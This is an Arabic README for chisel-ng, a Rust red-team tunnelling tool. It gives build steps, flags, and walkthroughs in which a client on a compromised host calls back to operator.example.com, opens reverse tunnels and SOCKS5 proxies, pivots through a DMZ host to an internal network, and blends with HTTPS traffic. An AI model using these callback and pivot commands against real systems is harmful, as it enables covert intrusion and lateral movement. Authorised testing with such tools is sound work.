
الجيل الجديد من Chisel، مكتوب بلغة Rust. SSH عبر WSS مع بعض التخصيصات.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
تطبيق Rust لأداة chisel لاختبار الاختراق وعمليات الفريق الأحمر. ينشئ أنفاقًا عكسية عبر SSH عبر WebSocket عبر TLS، مما يسمح للمشغلين بالتنقل عبر المضيفين المخترقين مع الاندماج مع حركة HTTPS العادية.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
تخرج الملفات التنفيذية إلى target/release/: chisel-server، chisel-client، chisel-bind-client
1. تشغيل الخادم (المشغل):
./chisel-server -p 'secret' -v
2. تشغيل العميل (الهدف):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. إنشاء الأنفاق:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. الوصول إلى الخدمات الداخلية:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| المشغل | | الشبكة المستهدفة |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (عبر TLS) | | (عكسي) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
مكدس البروتوكول:
TCP -> TLS 1.3 -> WebSocket -> SSH -> بيانات النفق
^
يظهر كـ HTTPS
أوضاع العميل:
chisel-client) - يتصل بالخادم (اتصال صادر)chisel-bind-client) - يستمع للاتصالات الواردة؛ يستخدم الخادم الأمر connectOPTIONS:
-l, --listen <ADDR> عنوان الاستماع [الافتراضي: 0.0.0.0:8443]
-p, --psk <PSK> المفتاح المشترك مسبقًا أو كلمة المرور [متغير بيئة: CHISEL_PSK]
--cert <FILE> شهادة TLS (PEM)
--key <FILE> المفتاح الخاص لـ TLS (PEM)
--generate-psk إنشاء PSK عشوائي والخروج
-v, --verbose إخراج مفصل
OPTIONS:
-s, --server <ADDR> عنوان الخادم (host:port)
-p, --psk <PSK> المفتاح المشترك مسبقًا أو كلمة المرور [متغير بيئة: CHISEL_PSK]
-u, --user <LABEL> تسمية الجلسة [الافتراضي: agent]
-k, --insecure تخطي التحقق من TLS
--no-reconnect تعطيل إعادة الاتصال التلقائي
-i, --interval <SECS> فترة إعادة الاتصال [الافتراضي: 30]
--heartbeat <SECS> فترة نبضات القلب [الافتراضي: 30]
-v, --verbose إخراج مفصل
للأهداف التي يمكنها قبول الاتصالات الواردة ولكن لا يمكنها بدء الاتصالات الصادرة:
OPTIONS:
-l, --listen <ADDR> عنوان الاستماع (مثال: 0.0.0.0:9000)
-p, --psk <PSK> المفتاح المشترك مسبقًا أو كلمة المرور [متغير بيئة: CHISEL_PSK]
-u, --user <LABEL> تسمية الجلسة [الافتراضي: agent]
-k, --insecure تخطي التحقق من TLS
--heartbeat <SECS> فترة نبضات القلب [الافتراضي: 30]
-v, --verbose إخراج مفصل
القائمة الرئيسية:
sessions عرض الجلسات المتصلة
session <id> تحديد جلسة
connect <ip:port> الاتصال بعميل ملزم
disconnect <id> قطع الجلسة (سيتم إعادة الاتصال)
kill <id> إنهاء عملية العميل
قائمة الجلسة:
tunnel <local>:<target_ip>:<target_port> إنشاء نفق
tunnel --local <local>:<target>:<port> إنشاء نفق (localhost فقط)
tunnel stop <port> إيقاف النفق
tunnels عرض الأنفاق
socks5 <port> بدء وكيل SOCKS5
socks5 stop <port> إيقاف وكيل SOCKS5
ping قياس زمن الوصول
ps عرض العمليات البعيدة
netstat عرض الاتصالات البعيدة
الوصول إلى الشبكات المعزولة عن طريق ربط الجلسات الموجودة.
السيناريو: مضيف DMZ يمكنه الوصول إلى المشغل. المضيف الداخلي (10.0.0.50) يمكن الوصول إليه فقط من DMZ.
+----------+ +-----------+ +------------+
| المشغل |---SSH---| جلسة 1 |---TCP--| جلسة 2 |
| الخادم | | (DMZ) | | (داخلي) |
+----------+ +-----------+ +------------+
الخطوة 1 - تشغيل الخادم (المشغل):
./chisel-server -p 'secret' -v
الخطوة 2 - تشغيل العميل العكسي (مضيف DMZ):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
الخطوة 3 - تشغيل العميل الملزم (المضيف الداخلي عند 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
الخطوة 4 - إنشاء نفق والاتصال (واجهة الخادم):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
تم بدء النفق على 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
تم تسجيل الجلسة 2
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
عند إنشاء نفق (tunnel 8080:192.168.1.100:80):
وجهات ديناميكية عبر مصافحة RFC 1928. يعيد رموز خطأ مناسبة لنتائج مسح المنافذ الدقيقة.
إصدارات الإصدار معززة:
--heartbeat 0هذه الأداة مخصصة لاختبار الأمان المصرح به فقط. احصل على التفويض المناسب قبل الاستخدام. المؤلفون ليسوا مسؤولين عن سوء الاستخدام.
MIT